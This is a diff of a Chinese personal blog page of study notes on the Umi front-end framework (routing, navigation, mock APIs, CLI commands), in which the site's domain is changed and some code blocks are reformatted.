0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Umi框架学习笔记"><meta property="og:description" content="Umi是一款前端应用框架
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/110/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Umi框架学习笔记"><meta property="og:description" content="Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -28,14 +28,14 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;component&#34;: require('@/pages/index').default,
&#34;exact&#34;: true
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
&#34;exact&#34;: true
}
]
组件文件放在src\pages下
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;component&#34;: require('@/pages/index').default, &#34;exact&#34;: true },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, &#34;exact&#34;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&rsquo;@/pages/xxx&rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;redirect&#34;: '/admin',
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
routes: [
{ path: '/admin/archives', redirect: '/' },
{ path: '/admin/category', component: 'category' },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;redirect&#34;: '/admin', },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/110/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-20T21:00:00+00:00"><meta property="article:modified_time" content="2021-09-20T21:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Umi框架学习笔记"><meta name=twitter:description content="Umi是一款前端应用框架
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/110/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-20T21:00:00+00:00"><meta property="article:modified_time" content="2021-09-20T21:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Umi框架学习笔记"><meta name=twitter:description content="Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -46,66 +46,66 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;component&#34;: require('@/pages/index').default,
&#34;exact&#34;: true
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
&#34;exact&#34;: true
}
]
组件文件放在src\pages下
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;component&#34;: require('@/pages/index').default, &#34;exact&#34;: true },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, &#34;exact&#34;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&rsquo;@/pages/xxx&rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;redirect&#34;: '/admin',
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
routes: [
{ path: '/admin/archives', redirect: '/' },
{ path: '/admin/category', component: 'category' },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;redirect&#34;: '/admin', },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Umi框架学习笔记","item":"https://xiaochenabc123.github.io/posts/110/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Umi框架学习笔记","name":"Umi框架学习笔记","description":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/index').default,\r\u0026quot;exact\u0026quot;: true\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\r\u0026quot;exact\u0026quot;: true\r}\r]\r组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;redirect\u0026quot;: '/admin',\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\rroutes: [\r{ path: '/admin/archives', redirect: '/' },\r{ path: '/admin/category', component: 'category' },\r]\r}\r]\rredirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .","keywords":["Umi"],"articleBody":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u003e=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\"routes\": [\r{\r\"path\": \"/\",\r\"component\": require('@/pages/index').default,\r\"exact\": true\r},{\r\"path\": \"/admin\",\r\"component\": require('@/pages/admin').default,\r\"exact\": true\r}\r]\r组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\"routes\": [\r{\r\"path\": \"/\",\r\"redirect\": '/admin',\r},{\r\"path\": \"/admin\",\r\"component\": require('@/pages/admin').default,\rroutes: [\r{ path: '/admin/archives', redirect: '/' },\r{ path: '/admin/category', component: 'category' },\r]\r}\r]\rredirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由\n动态路由\n使用[]包裹的路由将认为动态路由，例如：\n\"routes\": [\r{\r\"path\": \"/\",\r\"component\": require('@/pages/index').default,\r\"exact\": true\r},{\r\"path\": \"/:data/admin\",\r\"component\": require('@/pages/[data]/admin').default,\r\"exact\": true\r}\r]\r像[ $]的就是可选的，不是必须的\n当目录下存在_layout.tsx的时候将生成嵌套路由\n约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: ‘@/pages/404’ }\n页面跳转一样分为声明式和命令式\n和在react一样，通过to属性指定路径，例如：\nimport { Link } from 'umi'\rexport default () =\u003e (\rGo\r)\r命令式\nimport { history } from 'umi'\rfunction goPage() {\rhistory.push('/list')\r}\r也是可以通过props.history.push()实现\numi约定如果存在src/pages/document.ejs文件，那么作为默认的模板\numi约定/mock文件夹下全部文件都为mock文件\n支持数组和对象\n例如：\nexport default {\r'GET /api/name': { name: [\"root\", \"admin\"] },\r'/api/id': { id: 123 },\r'POST /api/users/create': (req, res) =\u003e {\rres.setHeader('Access-Control-Allow-Origin', '*')\rres.end('ok')\r}\r}\r访问http://localhost:8000/api/name，可以获得{“name”:[“root”,“admin”]}，访问/api/id可以{“id”:123}\n使用mock: false禁用当前mock文件\n.env文件为环境变量配置文件，例如\nPORT=3000\n那么就会以3000端口启动服务\n###umi cli\numi build\numi dev\numi generate\numi plugin\numi help\numi version\numi webpack\numi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入\ncss模块化\nimport styles from ‘./styles.css’\numi内置less\n引入图片\n也是可以用@来指向src目录\n","wordCount":"191","inLanguage":"en","datePublished":"2021-09-20T21:00:00Z","dateModified":"2021-09-20T21:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/110/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Umi框架学习笔记</h1><div class=post-meta><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Umi%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Umi是一款前端应用框架</p><p>官方文档：https://umijs.org/zh-CN/docs</p><p>根据官方文档要求，node版本>=10.13</p><p>yarn create @umijs/umi-app</p><p>安装依赖</p><p>yarn</p><p>启动项目</p><p>yarn start</p><p>构建项目（默认生成到./dist）</p><p>yarn build</p><p>路由（src\.umi\core\routes.ts）</p><pre><code>&quot;routes&quot;: [
-    {
-        &quot;path&quot;: &quot;/&quot;,
-        &quot;component&quot;: require('@/pages/index').default,
-        &quot;exact&quot;: true
-   },{
-        &quot;path&quot;: &quot;/admin&quot;,
-        &quot;component&quot;: require('@/pages/admin').default,
-        &quot;exact&quot;: true
-    }
-]
-</code></pre><p>组件文件放在src\pages下</p><p>path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&rsquo;@/pages/xxx&rsquo;)的方式</p><p>exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配</p><p>子组件</p><pre><code>&quot;routes&quot;: [
-  {
-    &quot;path&quot;: &quot;/&quot;,
-    &quot;redirect&quot;: '/admin',
-  },{
-    &quot;path&quot;: &quot;/admin&quot;,
-    &quot;component&quot;: require('@/pages/admin').default,
-    routes: [
-        { path: '/admin/archives', redirect: '/' },
-        { path: '/admin/category', component: 'category' },
-    ]
-  }
-]
-</code></pre><p>redirect是跳转路由，当访问/的时候，跳转到/admin</p><hr><p>文件路由（根据目录和文件名来分析路由）</p><p>如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录</p><p>注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由</p><p>动态路由</p><p>使用[]包裹的路由将认为动态路由，例如：</p><pre><code>&quot;routes&quot;: [
-    {
-        &quot;path&quot;: &quot;/&quot;,
-        &quot;component&quot;: require('@/pages/index').default,
-        &quot;exact&quot;: true
-   },{
-        &quot;path&quot;: &quot;/:data/admin&quot;,
-        &quot;component&quot;: require('@/pages/[data]/admin').default,
-        &quot;exact&quot;: true
-    }
-]
-</code></pre><p>像[ $]的就是可选的，不是必须的</p><p>当目录下存在_layout.tsx的时候将生成嵌套路由</p><p>约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: &lsquo;@/pages/404&rsquo; }</p><p>页面跳转一样分为声明式和命令式</p><p>和在react一样，通过to属性指定路径，例如：</p><pre><code>import { Link } from 'umi'
-export default () =&gt; (
-    &lt;Link to=&quot;/admin&quot;&gt;Go&lt;/Link&gt;
-)
-</code></pre><p>命令式</p><pre><code>import { history } from 'umi'
-function goPage() {
-    history.push('/list')
-}
-</code></pre><p>也是可以通过props.history.push()实现</p><p>umi约定如果存在src/pages/document.ejs文件，那么作为默认的模板</p><p>umi约定/mock文件夹下全部文件都为mock文件</p><p>支持数组和对象</p><p>例如：</p><pre><code>export default {
-    'GET /api/name': { name: [&quot;root&quot;, &quot;admin&quot;] },
-    '/api/id': { id: 123 },
-    'POST /api/users/create': (req, res) =&gt; {
-        res.setHeader('Access-Control-Allow-Origin', '*')
-        res.end('ok')
-    }
-}
-</code></pre><p>访问http://localhost:8000/api/name，可以获得{&ldquo;name&rdquo;:[&ldquo;root&rdquo;,&ldquo;admin&rdquo;]}，访问/api/id可以{&ldquo;id&rdquo;:123}</p><p>使用mock: false禁用当前mock文件</p><p>.env文件为环境变量配置文件，例如</p><p>PORT=3000</p><p>那么就会以3000端口启动服务</p><hr><p>###umi cli</p><p>umi build</p><p>umi dev</p><p>umi generate</p><p>umi plugin</p><p>umi help</p><p>umi version</p><p>umi webpack</p><hr><p>umi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入</p><p>css模块化</p><p>import styles from &lsquo;./styles.css&rsquo;</p><p>umi内置less</p><hr><p>引入图片</p><p>&lt;img src={require(&rsquo;./img.jpg&rsquo;)} /></p><p>也是可以用@来指向src目录</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/umi/>Umi</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/111/><span class=title>« Prev</span><br><span>简单使用ESlint代码风格校验工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/109/><span class=title>Next »</span><br><span>简单了解并且使用npm script</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Umi框架学习笔记","item":"https://chenjunlinabc.github.io/posts/110/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Umi框架学习笔记","name":"Umi框架学习笔记","description":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/index').default, \u0026quot;exact\u0026quot;: true },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, \u0026quot;exact\u0026quot;: true } ] 组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;redirect\u0026quot;: '/admin', },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .","keywords":["Umi"],"articleBody":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u003e=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\"routes\": [ { \"path\": \"/\", \"component\": require('@/pages/index').default, \"exact\": true },{ \"path\": \"/admin\", \"component\": require('@/pages/admin').default, \"exact\": true } ] 组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\"routes\": [ { \"path\": \"/\", \"redirect\": '/admin', },{ \"path\": \"/admin\", \"component\": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由\n动态路由\n使用[]包裹的路由将认为动态路由，例如：\n\"routes\": [ { \"path\": \"/\", \"component\": require('@/pages/index').default, \"exact\": true },{ \"path\": \"/:data/admin\", \"component\": require('@/pages/[data]/admin').default, \"exact\": true } ] 像[ $]的就是可选的，不是必须的\n当目录下存在_layout.tsx的时候将生成嵌套路由\n约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: ‘@/pages/404’ }\n页面跳转一样分为声明式和命令式\n和在react一样，通过to属性指定路径，例如：\nimport { Link } from 'umi' export default () =\u003e ( Go ) 命令式\nimport { history } from 'umi' function goPage() { history.push('/list') } 也是可以通过props.history.push()实现\numi约定如果存在src/pages/document.ejs文件，那么作为默认的模板\numi约定/mock文件夹下全部文件都为mock文件\n支持数组和对象\n例如：\nexport default { 'GET /api/name': { name: [\"root\", \"admin\"] }, '/api/id': { id: 123 }, 'POST /api/users/create': (req, res) =\u003e { res.setHeader('Access-Control-Allow-Origin', '*') res.end('ok') } } 访问http://localhost:8000/api/name，可以获得{“name”:[“root”,“admin”]}，访问/api/id可以{“id”:123}\n使用mock: false禁用当前mock文件\n.env文件为环境变量配置文件，例如\nPORT=3000\n那么就会以3000端口启动服务\n###umi cli\numi build\numi dev\numi generate\numi plugin\numi help\numi version\numi webpack\numi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入\ncss模块化\nimport styles from ‘./styles.css’\numi内置less\n引入图片\n也是可以用@来指向src目录\n","wordCount":"191","inLanguage":"en","datePublished":"2021-09-20T21:00:00Z","dateModified":"2021-09-20T21:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/110/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Umi框架学习笔记</h1><div class=post-meta><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Umi%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Umi是一款前端应用框架</p><p>官方文档：https://umijs.org/zh-CN/docs</p><p>根据官方文档要求，node版本>=10.13</p><p>yarn create @umijs/umi-app</p><p>安装依赖</p><p>yarn</p><p>启动项目</p><p>yarn start</p><p>构建项目（默认生成到./dist）</p><p>yarn build</p><p>路由（src\.umi\core\routes.ts）</p><pre><code>&quot;routes&quot;: [
+    {
+        &quot;path&quot;: &quot;/&quot;,
+        &quot;component&quot;: require('@/pages/index').default,
+        &quot;exact&quot;: true
+   },{
+        &quot;path&quot;: &quot;/admin&quot;,
+        &quot;component&quot;: require('@/pages/admin').default,
+        &quot;exact&quot;: true
+    }
+]
+</code></pre><p>组件文件放在src\pages下</p><p>path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&rsquo;@/pages/xxx&rsquo;)的方式</p><p>exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配</p><p>子组件</p><pre><code>&quot;routes&quot;: [
+  {
+    &quot;path&quot;: &quot;/&quot;,
+    &quot;redirect&quot;: '/admin',
+  },{
+    &quot;path&quot;: &quot;/admin&quot;,
+    &quot;component&quot;: require('@/pages/admin').default,
+    routes: [
+        { path: '/admin/archives', redirect: '/' },
+        { path: '/admin/category', component: 'category' },
+    ]
+  }
+]
